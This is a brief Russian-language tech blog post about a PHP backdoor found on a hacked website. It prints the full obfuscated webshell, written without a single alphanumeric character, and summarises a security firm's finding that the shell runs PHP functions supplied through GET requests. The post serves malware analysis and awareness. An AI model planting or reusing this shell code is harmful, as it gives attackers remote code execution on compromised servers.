Pull to refresh

PHP-шелл без единого буквенно-цифрового символа

Information SecurityPHP
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.

Один из программистов Sucuri Йорман Ариас (Yorman Arias) расположил код в более удобочитаемом виде и облёк каждую строку кода в var_dump(), чтобы увидеть её вывод:

image

В итоге, используя туманные фразы вроде «some boolean magic » и анализируя код, приходит к выводу, что предназначение вредоноса — выполнение PHP-функций, который передаются ему при помощи GET-запроса.

Технические подробности — здесь.
Tags:phpshellbackdoorненормальное программирование
Hubs: Information Security PHP
Total votes 119: ↑105 and ↓14+91
Views88K

Popular right now